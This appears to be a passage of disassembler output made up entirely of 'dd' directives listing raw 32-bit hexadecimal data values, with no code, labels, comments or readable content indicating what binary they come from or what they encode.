		dd 0E0F52355h, 0D3066FBCh, 0DC6DE769h, 3F4F1E90h, 81EA406Ah
		dd 2A4E6BFFh, 4967630Eh, 0B3B56074h, 0C8A86Fh, 5B6D5307h
		dd 0B2A7462Ch, 0AD230200h, 55CBFC06h, 0CA620039h, 0D3F7FEBDh
		dd 0F8002A0Eh, 0E8D42528h, 415733h, 43C39DCh, 13F60DF1h
		dd 0FED29200h, 242884D3h, 29456454h, 0F32221D8h, 11D41A11h
		dd 641127C3h, 31181037h, 0B2968015h, 0C8D980h, 0CCF6B188h
		dd 0F7E8AF3Ah, 78DE3Ch,	81C48BABh, 8D704Dh, 0BB64B307h
		dd 0C5D91951h, 0D6D5500h, 0B6A148Bh, 9868F496h,	0A563926h
		dd 9AAD3281h, 6024CBF2h, 46005897h, 7B399B34h, 0A83C594Eh
		dd 992980h, 0BBEA252Fh,	56483E0Fh, 340B060Eh, 7FC947h
		dd 6438992Ah, 97432h, 0A6104228h, 67196545h, 0E675B117h
		dd 13CE00EFh, 41F0362h,	39003BECh, 77E2AB55h, 88DFFEh
		dd 48C399C0h, 0D8CC1F69h, 3866B82Ch, 682AB903h,	0B9AD858h
		dd 518C028Dh, 2995CC7Bh, 5946CC80h, 0A007485Dh,	16BDA294h
		dd 0A00D76h, 0C403B393h, 0CCF52CE9h, 0F30C6BECh, 80C0714Eh
		dd 675B0EDEh, 0A3E1A42Dh, 0F4B032FCh, 9E00C803h, 96C1310Fh
		dd 622442h, 0D609854h, 1597D4B1h, 0A53BF21Eh, 9B6C09C0h
		dd 24EE44DFh, 134C86h, 4D40E947h, 0DE388BE6h, 73A1000Bh
		dd 381A914Bh, 382BE49Fh, 3A80A29Bh, 37A4721Eh, 5B03AA0Ah
		dd 49C3015h, 51F9B05Ch,	5410C720h, 5D85B02Dh, 6000C0CBh
		dd 3EE172Ah, 0F80457h, 879EC7FAh, 7B3E71A6h, 2F36A403h
		dd 25A86B4h, 0B5407509h, 3A436725h, 2201F9F0h, 0CA3FF770h
		dd 0C0170096h, 0F0123FCBh, 0F63D1F74h, 0F398C0DFh, 0DB0503E7h
		dd 0B939AA00h, 5A9FBBA6h, 7821C19h, 0E0284064h,	0E1CA0946h
		dd 4C882707h, 7C609791h, 12BB6A3h, 0CE70C8EDh, 0F8056ED7h
		dd 0FEF89A3Bh, 1D0B4103h, 802DC0FBh, 39DD04E7h,	2F5360Ch
		dd 0AC76CC7Ah, 0F40A766h, 0BC39D528h, 3C6703B4h, 0C03E735Bh
		dd 1D511CC0h, 9112Dh, 34ACA14h,	1E0066CBh, 70421EAh, 0EDF60E6h
		dd 0C11B3E9Eh, 20848307h, 70E3ACA3h, 81009C77h,	0F5D9DC82h
		dd 878E5Dh, 738D502Eh, 0B3D7C5F9h, 35797BE8h, 0F0985817h
		dd 0F59D9600h
		dd 26D992h, 1C9F1A07h, 4D59E91Bh, 0CF141700h, 0CC6356EAh
		dd 36430254h, 412F0C45h, 95AED480h, 2B00F36Eh, 31058886h
		dd 0F00D8Fh, 0E8231D34h, 16A983Ch, 9C32BB00h, 0BF5ACCE6h
		dd 62D4010Ch, 696512E7h, 70FE70D5h, 6137C505h, 0D401EB84h
		dd 35FC3EFh, 6C000C0Ch,	0E6D08879h, 164D2059h, 8A350Bh
		dd 0FB686A32h, 3D123791h, 84009774h, 0B07ED131h, 0CFB51E06h
		dd 4593795Bh, 0D49C0075h, 332B25C1h, 0F3D58800h, 0A31EAD35h
		dd 0A9CC0083h, 0EBB0CC3h, 0A5006BD3h, 0AC5A7642h, 0E6F5C9FFh
		dd 0F24D0092h, 67078A23h, 8303E930h, 90AEE60Dh,	0B233B065h
		dd 0EE230115h, 0F8CAC5A6h, 9651F8B9h, 0DD286C78h, 6260A8DAh
		dd 0BD5D3AA0h, 0BA9D02E3h, 4B83FE65h, 807AAC84h, 0F41F07D1h
		dd 259FC000h, 0E818ADF1h, 8B460E6h, 9B31CABDh, 2C1448h
		dd 0FA758EB0h, 3D9778h,	4B84C232h, 7B8BC547h, 6FBEED0Ah
		dd 7302ACE1h, 45047D7Ah, 0A9450880h, 0EF9CD000h, 1B3F2CDh
		dd 0F34A3206h, 0F0C5B719h, 0B26788Bh, 7200502Dh, 98CB8E59h
		dd 0C0073E71h, 8980A580h, 3C14F229h, 4C5B3900h,	54B3F379h
		dd 0CD82006Bh, 0F9AA1C32h, 0AD003494h, 3D6E2426h, 98A2D6h
		dd 9A538EA0h, 0F65620A7h, 3C348C07h, 4280C2CFh,	7FFAE7Eh
		dd 558609A2h, 5BB71068h, 9400C4C7h, 77F1F6F3h, 0AFDC0Ch
		dd 899C52FDh, 0D8FC602Eh, 6AE84000h, 57A313BCh,	1FE9007Ah
		dd 2917C8D5h, 510018B6h, 967D2E7Fh, 24B1F6A5h, 0E96C5EDh
		dd 56C07975h, 218E2C7Ch, 0FA004CE2h, 0ABBF370Fh, 9BAE8Ah
		dd 0C508996Eh, 8C1089E4h, 0E1B7D102h, 0C032DC69h, 48472434h
		dd 7C328Fh, 0B81FCD80h,	97B2D089h, 95D89200h, 2E151B02h
		dd 2D050727h, 400411E7h, 2B12D9FFh, 54B28AF2h, 0F6096700h
		dd 2CD85776h, 0D9E0068h, 0C93FE12Eh, 0FB006EA4h, 65C06266h
		dd 1DFE4530h, 4BF7C26h,	80DB13E3h, 0C0843899h, 2074BD01h
		dd 53C10168h, 0F02F8E31h, 1D1EFB81h, 0DA804E8Fh, 4AAC3C04h
		dd 3577972h, 85342D5Ch,	0C0D43767h, 888BA283h, 2281D300h
		dd 95154DFFh, 0D0D600DDh, 0A585D41Eh, 3F39E452h, 0D9588033h
		dd 0DB957BCDh, 413B00CEh, 0D6838F59h, 0B5B08748h, 85099C00h
		dd 1512C3DFh, 0E07A0031h, 8B7161EBh, 0C20303BAh, 2E14B16h
		dd 42E4887Dh, 0AF9E0009h, 38D05BB2h, 500E18C6h,	0CE873B47h
		dd 5D5600C2h, 9A45E3h, 4FA35AF5h, 0D12734EEh, 0DCE44007h
		dd 0E50E5F6h, 0C05950D0h, 89FC7C20h, 0DEEC5CB9h, 0D3A667Eh
		dd 58040022h, 56469377h, 25F82A7Bh, 7F4E0ECh, 0EB2A82F2h
		dd 0EC1EA134h, 0CC25D4FDh, 8EEF09C0h, 71CFAC33h, 0BB7676h
		dd 3DF540F8h, 3FF32E80h, 0EFDB7E03h, 0C1536444h, 0EC40D504h
		dd 852360B2h, 5A039B00h, 2118885h, 512846F6h, 0D8408E09h
		dd 0B4003179h, 84878908h, 2F5DBCAh, 55153CD0h, 3863BC03h
		dd 89509990h, 77518202h, 0C02FCCFAh, 2AC9C34h, 6D251FC3h
		dd 1060E040h, 0DE00A7A3h, 0BC387DE3h, 5D94D9h, 1508FADCh
		dd 409DF0FFh, 902F7900h, 8221AA4Fh, 46CD02E8h, 65EF605Bh
		dd 68AF7CC0h, 6FCBA700h, 0A542E229h, 7970F66h, 71004753h
		dd 98AD26A4h, 0F6B8A802h, 6277822Ah, 37BF009Ch,	3D91F2Fh
		dd 10BC8EFCh, 0BBA84E97h, 950032A6h, 8D288F2Ah,	79853651h
		dd 7888005Ah, 9E6CFC7Ah, 0D7ECE346h, 9228F600h,	2722F8B5h
		dd 20AA00B7h, 0E88DBA19h, 0FD120E25h, 0EF31F5h,	1022B6E6h
		dd 480081ECh, 0DC85F489h, 1E84021Eh, 970524DAh,	7B2C00D5h
		dd 0AD3160D9h, 8F3DCA78h, 34201C7Dh, 91054A5h, 20400A94h
		dd 0BF056E91h, 0BB92E8E1h, 0D050C000h, 1F72A87Bh, 66FCBDh
		dd 57F3B184h, 0CA00E44Dh, 155E83BFh, 675138h, 3979DB3Ah
		dd 5D4EC84Ch, 2AF0B00h,	0AE6CC11Eh, 708C0E44h, 8A804885h
		dd 0B2EE617Fh, 0B9E16200h, 0C34F6F3Ah, 597E00DDh, 0C75FD264h
		dd 2500036Ch, 7F911A22h, 1C2973Ch, 4E775C49h, 0EC56FDC0h
		dd 0DDF20CE2h, 3D82CD12h, 7C974044h, 3E28F491h,	173C9C28h
		dd 50022200h, 8E7DA154h, 63E2A801h, 0CA51A339h,	3DD820h
		dd 0F9E1C944h, 47B545D0h, 1A1D0C00h, 0AD39F673h, 5BB100EDh
		dd 96B9325Ah, 5501C131h, 0E2815D7h, 8BE03CB8h, 4460181h
		dd 0C6E11311h, 800FFFC5h, 6E4A310h, 217FC8h, 0BECEE133h
		dd 0B8CC310Ch, 0CFE0E700h, 6B45EFCBh, 0E12B0E11h, 0C198E657h
		dd 1301CC7Ch, 2C16B14Ch, 0B86423C7h, 4ABC3E28h,	8F980C80h
		dd 22C5F5F7h, 0A40F08A0h, 1D04191Eh, 0D4AA5405h, 8EB52800h
		dd 14996237h, 0CD1ACA6h, 2C05AD0Eh, 70FAA0F8h, 18ADA00h
		dd 1F100DF8h, 7B902415h, 57330046h, 9C28ED27h, 0DDFB410Bh
		dd 0E31402B8h, 8831401Bh, 0B95000F3h, 3E7948AAh, 23754360h
		dd 0E5BF6601h, 87D9D6BBh, 0F204EC4h, 78463DBCh,	0E3B44D00h
		dd 2100A7DCh, 0F65FAD79h, 12B1735h, 0CC868131h,	0F48296C3h
		dd 22002047h, 0C2363E43h, 0CEE7B3h, 7A3F605Eh, 0FAF67540h
		dd 5BE5A807h, 27409FDAh, 126CC0ECh, 184B82E0h, 4206F0B4h
		dd 80C7D938h, 0F2A674BEh, 5CF8ABh, 6A56918Dh, 3BA32354h
		dd 0A5848112h, 0B0BD70C0h, 934E00C9h, 3B276D2h,	467C5DDCh
		dd 59EFDA30h, 710AF7h, 20822305h, 94BBE2AAh, 0B5A3E000h
		dd 0F00DBF1Eh, 0C96C00C5h, 77EA323Fh, 6100F262h, 111E189Dh
		dd 0A0FC800Bh, 1ADB1D3h, 0D7ACF61Bh, 30DDBEC9h,	57FAF05Ch
		dd 0A4009471h, 3A56AA2Ah, 0FD2F331h, 0A62EC401h, 938232EFh
		dd 144069AFh, 2130CFF9h, 77C9A095h, 0B0F2B7h, 3B0B75F1h
		dd 141E7B53h, 363DAB07h, 808F4E2Ch, 20CC7D3h, 0BEEE0031h
		dd 0D4506255h, 1F00E09Bh, 7771307Dh, 31A00E69h,	922944D6h
		dd 8960056h, 8C21005Ah,	8E23571Eh, 20008819h, 0C8A87ABFh
		dd 19630C96h, 0DA653BB5h, 0B0EB6006h, 2CBB1E00h, 36BD9ED6h
		dd 0AE9300FEh, 7A769D26h, 4A006D23h, 0CA54F1C3h, 98B16h
		dd 67EC9EFCh, 0FF3A8464h, 6122960Fh, 94C060E5h,	3FCED46h
		dd 0F9D2CE4Ah, 6FD32836h, 0EC88B9DBh, 6BB85896h, 0F1705E00h
		dd 4B53A8E7h, 0AA7791h,	3A0AC10Bh, 4FCB232Eh, 41E48601h
		dd 0EFECD3ABh, 1F30F040h, 0B7A1C6Bh, 0E834CFA9h, 0C3C4C625h
		dd 3A9803B8h, 0E001F5ABh, 0F7D4E464h, 0FB406B72h, 674362h
		dd 77488B5Dh, 41A5E98Eh, 25055C1Ch, 537F81C3h, 0CC5AC885h
		dd 0E90F0044h, 0B1B3A514h, 7600D3F7h, 9B4E0E37h, 1D971BCDh
		dd 0C0264973h, 69F27068h, 10EDEBAh, 608F2F6Bh, 0FFCF287Dh
		dd 0A0BC003Ch, 0BA20B127h, 0D5002C5Ch, 845A63FBh, 3A3A356Ch
		dd 6D8F9FE4h, 68B805A6h, 0A40108A9h, 1830E270h,	71F4433Dh
		dd 0E7EA24E8h, 0C0CC1D7Dh, 0B4FBD067h, 50015CA2h, 2AA9C46Ah
		dd 0AF9C5B3h, 3912C20h,	0C02555D4h, 0C1E07321h,	0B40C841Ch
		dd 8AA3EB2h, 439807h, 85DB693Fh, 0C3D0E6EBh, 264F2200h
		dd 2039089Ah, 3A1F3E01h, 0F6237C0Eh, 413F2h, 0AABB3ED8h
		dd 64002044h, 5F6E020Dh, 0F9CC17Eh, 54C4EBEDh, 0C7840743h
		dd 3D4E79E0h, 551B8200h, 0E6976C71h, 0F0E100BDh, 0BB1729D1h
		dd 0C0F830A9h, 0AC9FF306h, 0F5CE38Dh, 79C1E20Ah, 4B675C00h
		dd 0B973A7CAh, 0B02CF200h, 42294771h, 54090135h, 0AED10F3Fh
		dd 0ED54206Bh, 0F6A5B327h, 0B11CEAh, 0FD44323h,	5503F960h
		dd 75078E0h, 7B51F88Ch,	1A420056h, 0E8AE5393h, 0BD003995h
		dd 6144074Dh, 39C08D6Dh
		dd 0C283BC8Ch, 688B966Bh, 0B4D0A9FBh, 0C626A6CFh, 7700495Dh
		dd 85A71261h, 0F106605Ch, 0C8F4C0B5h, 7176A2F2h, 0DD3AFF00h
		dd 0A5FB0641h, 0C12D1DE9h, 0B72080D3h, 9740F525h, 0FA03AF00h
		dd 21B30EF2h, 0C8900C3h, 0B4E205DCh, 58C066CDh,	0DE62F55Eh
		dd 7B3900F7h, 4893A64Fh, 3801E9B7h, 0B8C5288Bh,	0EC30FFABh
		dd 6D20142h, 15887D68h,	31303067h, 9FC5D40Ah, 0A10098BCh
		dd 193F7616h, 0E0DE0098h, 0FE5D8702h, 4500BDE2h, 7ED3A09Ah
		dd 7F3A144h, 85766F46h,	4602093h, 4C004D1Fh, 84033AEBh
		dd 26A4165Eh, 12805D3h,	0BE9A2FC9h, 314227Eh, 6E4B6D70h
		dd 12688849h, 316A07C6h, 0E3E28351h, 0BBE8F11Bh, 5604D3D7h
		dd 979FFFAFh, 3F3BF480h, 0B4B90023h, 6C343E07h,	37014712h
		dd 0AA0F16DFh, 6AE06741h, 1B4500A0h, 494209ADh,	0AE3A18E1h
		dd 9F32822Eh, 603CC4F1h, 1D6F3B8h, 503FEF21h, 0C4E20D6Ch
		dd 693BABA3h, 0C8D4A824h, 50BE42Eh, 89595F00h, 728E9B4Bh
		dd 0DE7B301Ah, 0ADDB8120h, 4D005575h, 0FDB66B0Fh, 231260h
		dd 1C06990Dh, 0CEA844A4h, 0E617F607h, 6E5594h, 27AE7F7Ch
		dd 98C1C0Fh, 0E92C8088h, 993E54B3h, 0F84B961Eh,	0E013ADCFh
		dd 8EE30C0Fh, 0BF1400F4h, 525DEC20h, 0CA7F684Bh, 2AD47F00h
		dd 3A4715E6h, 0F4E52E2Fh, 3C0A00C4h, 4C1E9A0Fh,	0AC10B600h
		dd 725599D8h, 522716D4h, 59D8007Bh, 0C33AC89Bh,	41D31C00h
		dd 95C210A8h, 3E0B00C1h, 0F53FEC0Ch, 130052CDh,	143DC586h
		dd 7E19CCF2h, 6B560016h, 3F11DB29h, 872433ADh, 7D004C3Ah
		dd 2FCC39F2h, 0E07A008Dh, 0E1CDD766h, 7305F658h, 6C4B5CC9h
		dd 0A3C8FAC0h, 0B0703A8Eh, 66417583h, 57AB8536h, 387421B8h
		dd 7C8D3700h, 350D05B9h, 36E089h, 614F7FE7h, 0BA12D781h
		dd 0E8F8E200h, 3C9DD43Ah, 319E0054h, 67395115h,	0A23863FDh
		dd 807EBD6Eh, 0FB08B014h, 31B5A22h, 1F89609Ah, 10002534h
		dd 6A2497F3h, 16CD687Dh, 0AB57C9h, 87F8C65Ch, 20FD94CBh
		dd 7749DA44h, 3E621F3Ch, 46D7EC40h, 5436B3Ch, 1F33F413h
		dd 3053837Fh, 1E9289D8h, 0AC63F212h, 36BAE80Fh,	2D36C400h
		dd 0F30D0253h, 15446C8h, 0FF4315F6h, 0C8408D85h, 0DB3EBDA1h
		dd 1C0D07C5h, 0C0602490h, 0ECBCED7h, 9196E0B5h,	0C10886C0h
		dd 0C9F4B9A5h, 95C45A00h, 7CA1A4A9h, 0D9DA3C1Ch, 902E8900h
		dd 6FE558EBh, 9C8359h, 0B636403Bh, 71F513D9h, 24667BC1h
		dd 9F8C3A8h, 0B002301h,	3732C0E6h, 96D7F500h, 0ED8B1A9Ch
		dd 0A33400F8h, 4A5B1873h, 3E00017Ch, 0A28858B0h, 27533Ah
		dd 0FBAF3D34h, 7B4DEEA6h, 55E670C3h, 120789Bh, 0D2AF3C90h
		dd 8050CB19h, 30BCC410h, 0EE229ADh, 0E184AEC6h,	49E02E80h
		dd 12006D5Ch, 0E62D0271h, 3E16753Fh, 9780BA80h,	6F44E14h
		dd 7D0CECEFh, 70520F07h, 0E7465Ah, 0C7F3ADF4h, 73136Dh
		dd 0F6AE89C0h, 2088139h, 2830C534h, 384B811Ch, 0FEA0000Eh
		dd 6085EF16h, 0DA48C8F0h, 0B998B773h, 940221C0h, 515382Dh
		dd 52EF56B1h, 2CC0C041h, 0FD0676A2h, 83975418h,	0AD030016h
		dd 20EFF8C5h, 7C030A7Dh, 0E3FADC4Fh, 9CD0F024h,	1DCB1DD9h
		dd 0B739C091h, 0DC0D9A2Dh, 43F2AE05h, 0A9C0B984h, 9E25E5h
		dd 0D0C05082h, 0D1E47E5Ch, 1500F976h, 366FA228h, 556608h
		dd 0E6A6EDBBh, 702BC159h, 7DA91800h, 56C4F3BCh,	0FF7A1D48h
		dd 669F81A1h, 533B3064h, 0C3F16780h, 0AA8DE892h, 47EF9600h
		dd 9374F861h, 31850149h, 0BA897C43h, 0EA9C408Bh, 0E388182h
		dd 36F4D420h, 1A969500h, 0C1AE80A7h, 0BBA51CE0h, 4D6DC09Ah
		dd 0CB35D4DAh, 0D53E2003h, 0C894A957h, 32C369h,	13B08F0h
		dd 928B4785h, 0C0CAFA03h, 0A8F82B79h, 13302E3h,	0AEB22D1Eh
		dd 9C6CCFEDh, 0D585370h, 0CDA7C1h, 0D3BBBACCh, 5B488D95h
		dd 0F351E700h, 0B5CFEAF4h, 0F2930089h, 39F07204h, 80FFEF37h
		dd 0A1B35CB8h, 3D35A9D2h, 0EB0190ADh, 38EE084Bh, 50F84007h
		dd 0CE74936Bh, 0B45330C4h, 3CBCA490h, 6C0F00B2h, 0F64BED17h
		dd 0D90C1A1h, 1FE4180Ah, 28808C7Bh, 770CB708h, 4367BDAh
		dd 0F4D5EA20h, 0FFC0AA4Dh, 6EF67Eh, 95926F7Fh, 4B12FA44h
		dd 0D000AC7Ch, 45560E7Ah, 1A58E5Dh, 47D3547Ch, 0C5BD4C49h
		dd 8491D048h, 0CEF720C0h, 7C23F7Ch, 0C618B97h, 3687707Fh
		dd 5C00EDD0h, 0BD45572Eh, 1E98F37Dh, 0BFA71DBh,	9D06C9DCh
		dd 920E2142h, 220FF2F7h, 43CF2625h, 0F8813E59h,	0B580A83Fh
		dd 8C79F3F9h, 500106Ah,	26C5ACD5h, 0E5DA7Dh, 0F9953751h
		dd 8E5736FDh, 4578DD06h, 36FE4B40h, 50204A55h, 632370C0h
		dd 0C03B9CBEh, 53886511h, 0A2068D9Dh, 0A1C680D4h, 21106508h
		dd 0F2D5C005h, 0A30633A7h, 51F8B397h, 0A4FA0BE8h, 2E8960A6h
		dd 0E964D81h, 0F7698018h, 0B3511CD4h, 0F4AC385Ah, 0C7F041Dh
		dd 7420408Eh, 0B51FCC00h, 653E5819h, 90D87213h,	4DA62A67h
		dd 40FF008Ch, 8FD33203h, 480047F2h, 0E6BDA27h, 0F7CE9Ah
		dd 7AAEE78h, 0E8135F63h, 0C4E84762h, 0A37E025h,	77C0009Ah
		dd 9C57911Ah, 0BE0730CDh, 7D82F8E0h, 4D454F10h,	3BD729BAh
		dd 1854DF04h, 114106B7h, 0E4FEDEEBh, 9B040A03h,	0B86284CBh
		dd 0CDF474Dh, 5420F93h,	3D11F718h, 13224568h, 0C69AB418h
		dd 60B3A548h, 770960F6h, 20CC63FFh, 8D793Ch, 5C4247B7h
		dd 86F161D6h, 8572F300h, 3A7345DEh, 0D97C15h, 0CA2E90C8h
		dd 0EA3E5264h, 0FD01E678h, 0FB51D844h, 0DDD0BFC6h, 33D7035Fh
		dd 391403FEh, 90EBAE0h,	19F4E701h, 93480A86h, 0F7D74040h
		dd 0D0CC6059h, 24ADD6Fh, 0F9DA6101h, 3344FB09h,	19B11D0h
		dd 0D9AA3E34h, 80BB253Bh, 0B4D710B9h, 0F411EAEh, 0E0204756h
		dd 4953DAC0h, 7430C452h, 665E6922h, 462F1EBEh, 50ADC08Eh
		dd 9AF81225h, 0D67C7200h, 0B8143BDDh, 267C2Ah, 69963A5Dh
		dd 0AF3476A7h, 0A441C003h, 0B83CAC13h, 0FA8958h, 433BE862h
		dd 0BAAAE0Fh, 8B1CEEB0h, 0EF401C3Fh, 0B812392Ah, 2CDE019Ah
		dd 59355B6Fh, 0C125E0C7h, 65FDE401h, 8628F3BFh,	189B46h
		dd 0DD1B0612h, 3F09279Ch, 1FF12103h, 98C0A099h,	0EFB83Eh
		dd 6C47A69Ah, 0BC143484h, 0BE77FF39h, 24852BB9h, 44205808h
		dd 5689409Bh, 0F808D40Bh, 9F233E9Eh, 137A2200h,	0C0C668AFh
		dd 3812FB03h, 0A0593B41h, 0B802A43Fh, 68E60FD3h, 0A5CC253Ah
		dd 4A1FB690h, 519CE5C6h, 2ABA7Bh, 0DA7ECB3Eh, 0DE5C84h
		dd 6153731Bh, 2D39EFA5h, 50AEFB1Fh, 0B0E8CD1Fh,	3050588Ch
		dd 10F9997Ch, 0C0FB2F07h, 2AD3D628h, 462AFD7Fh,	45768068h
		dd 16A885Ch, 6761A05Eh,	0BC502633h, 1977CCBh, 0C216E513h
		dd 0CF39FE90h, 60E43FE0h, 75938000h, 0D2A5C34Ah, 79B7C7Bh
		dd 96C03C2Fh, 76CD30A4h, 0BD7CC94Ch, 9B509261h,	5CECE71Eh
		dd 0DA70C03Bh, 0E8E4D06Eh, 0DC381D00h, 0CDB94026h, 0D2AF2854h
		dd 0AF48F8B0h, 0F96804F4h, 1DAC0717h, 3C0F683h,	96E79720h
		dd 68011970h, 11AA52C4h, 1AF1CFECh, 0FCB84095h,	0CC9AAD00h
		dd 7B469722h, 0E114D2F8h, 0C434C5F5h, 0FE30FB24h, 0EB3D8891h
		dd 985E98C2h, 0F2DAC328h, 0C4410172h, 1DFE1EC5h, 9B7C2037h
		dd 75772D00h, 0F3B4354Ch, 27570022h, 920281C4h,	1F006F7Fh
		dd 0D6855E7Eh, 94E820h,	807B1097h, 8E7C0C23h, 87CBC200h
		dd 51A2218h, 0F0D67A17h, 14503E33h, 0AB3B7280h,	0FBF986Fh
		dd 11485360h, 1C61E504h
		dd 7CC1F818h, 0E87F1860h, 7E1E7B5Ah, 0A58DDA89h, 3EF0207Ah
		dd 0AFE05Bh, 43AE0BEBh,	378058E9h, 8ADE0E00h, 4E19D8CDh
		dd 0FA231918h, 0FC77B89Dh, 0C63045CCh, 6ED3707Fh, 0D0C3086Ah
		dd 500C098h, 5E0C6809h,	8010605Ch, 1A663B56h, 529C4A18h
		dd 1C7791A8h, 0A645D206h, 0F9110079h, 7FB40903h, 512828C4h
		dd 0E16FA343h, 560A787Ch, 344CD04Fh, 0D4247100h, 0F8FCE76Eh
		dd 0E919D858h, 90006DDh, 94277795h, 78ADD17Ah, 26900C5h
		dd 0AC3567E2h, 0FA0FAA51h, 0C21521EEh, 761EC836h, 0E9873EB0h
		dd 6AE77447h, 5300388Dh, 5C504D01h, 0FC12D160h,	83006606h
		dd 292D8B1Eh, 3DB9F26Dh, 2C80145Bh, 8E7DD12Eh, 8500EB2Ah
		dd 1A56CA88h, 5B60DEAh,	6FCB3022h, 31F018F1h, 0AA3ECA8Ah
		dd 0F26E8195h, 0E16CDDBAh, 94D9F0h, 4C0CD8Ch, 0DC545A4h
		dd 0EEE3Ah, 0DE705732h,	3F430CD7h, 30835FC9h, 2E08A664h
		dd 0EBE01001h, 38CB8C0Dh, 0FE2FE4C8h, 265300A9h, 76569334h
		dd 1A0028EBh, 5FD4038Ch, 803DB4h, 0E7B608A3h, 51718D53h
		dd 926C8601h, 337A8A0Ah, 9058A2h, 493885E6h, 1A075B83h
		dd 0CD63E80Fh, 8A0E4Dh,	771C7196h, 27AF198Ch, 0D14291F1h
		dd 8BDE0E4h, 6053660Ch,	34C18CDh, 6A7950CCh, 0DDD86298h
		dd 0BB00E81Bh, 0E79DA0C2h, 0C0504C77h, 71E55F41h, 0A5001C98h
		dd 6604328Bh, 1AC9A4Eh,	0BC4939B4h, 401EFB8Ah, 0AFCB0ED0h
		dd 0E209D070h, 0EBBE85h, 86B8EFB7h, 39C22817h, 8EEE0AC4h
		dd 8E94CF33h, 1A002064h, 0F6B9B2D1h, 28C31930h,	189CAA84h
		dd 30EDD299h, 9E80F42Bh, 0BC7F0011h, 49C2E8FAh,	20F39D6h
		dd 0E731981Ch, 0B1F7962Ah, 1C26F346h, 0CE85698Ah, 8480E920h
		dd 4CAA57E3h, 0B364151Dh, 4F0BF000h, 740A9D3Dh,	3B7798h
		dd 5193CBE0h, 0CF32175Dh, 1CA4EB00h, 2588BFA7h,	0EAEF1C68h
		dd 415F12FBh, 63A0E004h, 0D509E038h, 2BE56500h,	0B58C8F27h
		dd 22490A3h, 0BA11C24Dh, 5405642h, 0BF0037BCh, 4736B4EEh
		dd 0D471F4h, 0BB6550D1h, 25A6B0EDh, 30EBF3Eh, 5A354732h
		dd 0E7297830h, 7CAB85E8h, 6F17C44h, 195B61FCh, 0D0002048h
		dd 63E21FD1h, 2F1F53Bh,	0E56B7018h, 72004FDBh, 1D051FC6h
		dd 0F31CC4E0h, 2820B460h, 10E2EF6Dh, 1C00FB53h,	0B2671FD2h
		dd 0D6BA2EFFh, 0E54400B1h, 87305F31h, 38A4741Ch, 21AD2F0Dh
		dd 22655090h, 7F99C0EFh, 0E92F0103h, 129336Eh, 86A48EB8h
		dd 19EA6099h, 74E0817Bh, 1FC72F0Ch, 753798F3h, 3BFC007Dh
		dd 4D89F1EFh, 0B20072A0h, 6F2FC6A4h, 0A4F81186h, 7BD00088h
		dd 0C004F23Ch, 180FDBD4h, 0A03646CBh, 0B19DED16h, 7C1E3A97h
		dd 9BAD6B00h, 0CF0E07CAh, 6D893600h, 0F34EE563h, 72BA07E3h
		dd 40B2F10Dh, 0AE7D672Dh, 0CC9C40E9h, 90169660h, 5706AA3Ah
		dd 13947B8h, 5D4178D7h,	57E6F761h, 7E26D3BCh, 44EDFA0h
		dd 0C3761976h, 2306700h, 0FFE9C1D7h, 0A0A954EBh, 68F6301Ah
		dd 0F098C421h, 0B0EC5800h, 0E5FD6115h, 60E73A20h, 63C10048h
		dd 0ECC46450h, 42A6C85h, 9F06BC56h, 31781C8Eh, 77BA0410h
		dd 58A96A05h, 0C769E499h, 0ACF199B8h, 0CC7E9651h, 1724E307h
		dd 4351B398h, 84DAA669h, 4890395Ch, 78F2A96Ch, 0D893092Bh
		dd 2C00A3FAh, 0EB6D4BB6h, 87746998h, 0FD30ECA8h, 306ADEEh
		dd 0C86659E6h, 0FB7130F1h, 542BBA48h, 335089FCh, 90C386Ch
		dd 2846C0C9h, 413500B2h, 6EC4F06Bh, 0BA527A99h,	0B02C30BCh
		dd 0EA20E74Fh, 0B5043D59h, 0B034AC8Fh, 0DCF018F5h, 8103F1C2h
		dd 0C6DA5CB4h, 0E7A9099h, 189B1598h, 4703FC7Dh,	39C84A71h
		dd 9600A875h, 73B25B68h, 73B6B2Dh, 6099B3D2h, 0AABAC38Dh
		dd 40BF7689h, 0A4134374h, 4614905h, 4043E515h, 8CA30DA8h
		dd 6407B8C0h, 921618F8h, 913239FEh, 90B97305h, 8C036778h
		dd 1E688826h, 4A309C8h,	0C36E0EA5h, 303AF3C2h, 0B5BE13CCh
		dd 0DF318E00h, 0A87B4C60h, 7E582FCh, 30F33D1h, 3080695Ah
		dd 37679970h, 0BE6D3E0Bh, 5B8C0687h, 24F7F0F0h,	80184514h
		dd 0DE75188Bh, 0E75494EDh, 2502BEECh, 7B389773h, 0FB876050h
		dd 71671EE5h, 645187B6h, 0B71B600Ah, 0A94D822Fh, 0F349016Ch
		dd 38980468h, 0EFA08060h, 5C433880h, 1AEE218Dh,	0F13B2501h
		dd 0D76C2DD8h, 43D5084Ch, 0FBFC1619h, 5F15DE0Fh, 113A033Fh
		dd 0E051E1CFh, 856310h,	0C4537A68h, 1BD4614Fh, 0E286552h
		dd 4060FBACh, 6472AA21h, 70404C8Fh, 0B9BC400h, 1CF4437Bh
		dd 0E5C98C00h, 5C4B18D7h, 702F02BCh, 507AF51Bh,	2C61908Fh
		dd 8036CC46h, 0F939FD18h, 74AD7242h, 37EB097Bh,	0FC940E23h
		dd 0A1706120h, 0F01774FCh, 453CF2A5h, 66E56D0Ah, 4D83C044h
		dd 9BE3311Dh, 6F22B8A1h, 0C9D4A8E6h, 0DFA009Ah,	0D238B33Fh
		dd 2F3ABD69h, 504483Eh,	1A6F1D4Eh, 0C0000C84h, 0BB14C729h
		dd 0A05AB072h, 60211817h, 325FF033h, 0F21F6D3Bh, 354E027Ch
		dd 0E96CE219h, 9B701FCh, 0B432004Fh, 0EBB92A8Fh, 3BFD1894h
		dd 0B1163862h, 0CCE2303Fh, 0B97B0058h, 470368FBh, 2108A4F1h
		dd 4383F015h, 0ECF2B08Eh, 0C0048C5h, 59669B51h,	0E3761E5Ah
		dd 0EA2F0ACFh, 0E7F77044h, 0DE0EAA7Ch, 19FB50h,	0DC5AECE8h
		dd 6D6900E9h, 1FE14ECCh, 2E0035E7h, 17444BAAh, 0C8EA36B3h
		dd 0C547E238h, 6ED6029Fh, 0F6FC482Eh, 0DD050ADBh, 80D068B4h
		dd 0F1D252C2h, 22F3ABB8h, 0B89926C8h, 0A9113B0Fh, 0CC3B883Ch
		dd 0B4C50162h, 0A46648B0h, 6EAAA080h, 0A4A3F17Fh, 0D1E035B0h
		dd 3E30B0A0h, 0AC1D4403h, 0A81AB137h, 14195003h, 8B08D63h
		dd 10025B23h, 42D1E65Dh, 6BB0A77Ch, 41EF51F2h, 0F420D25Bh
